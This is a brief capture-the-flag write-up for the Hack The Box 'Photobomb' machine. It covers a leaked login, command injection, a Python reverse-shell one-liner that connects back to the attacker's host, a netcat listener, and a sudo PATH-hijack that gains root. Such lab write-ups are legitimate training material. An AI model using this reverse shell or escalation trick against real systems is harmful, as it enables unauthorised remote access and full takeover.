Hack The Box – Photobomb (EN)

htb-photobomb

Hello, in this writeup, I explained the solution of the Photobomb Hackthebox machine

htb-photobomb


USER

sudo nmap -sV -A 10.10.11.182
htb-photobomb

Check Port 80

htb-photobomb

Click the “Click here!”

htb-photobomb

Credentials in the js file

htb-photobomb

pH0t0:b0Mb!

htb-photobomb

Lets download a photo and intercept the request

htb-photobomb

Try command injection

htb-photobomb

htb-photobomb

That’s working. Lets get a reverse shell

python3+-c+'import+socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",3131));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

htb-photobomb

nc -lvp 3131

htb-photobomb


Root

Check sudo -l

htb-photobomb

View the contents of the /opt/cleanup.sh

htb-photobomb

I guess I can exec command as root using the find. (exp machine: link)

First of all, I create a “find” file and sets the execution permission

htb-photobomb

Add the path and run:

sudo PATH=$PWD:$PATH /opt/cleanup.sh

htb-photobomb


Thanks for Reading


Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.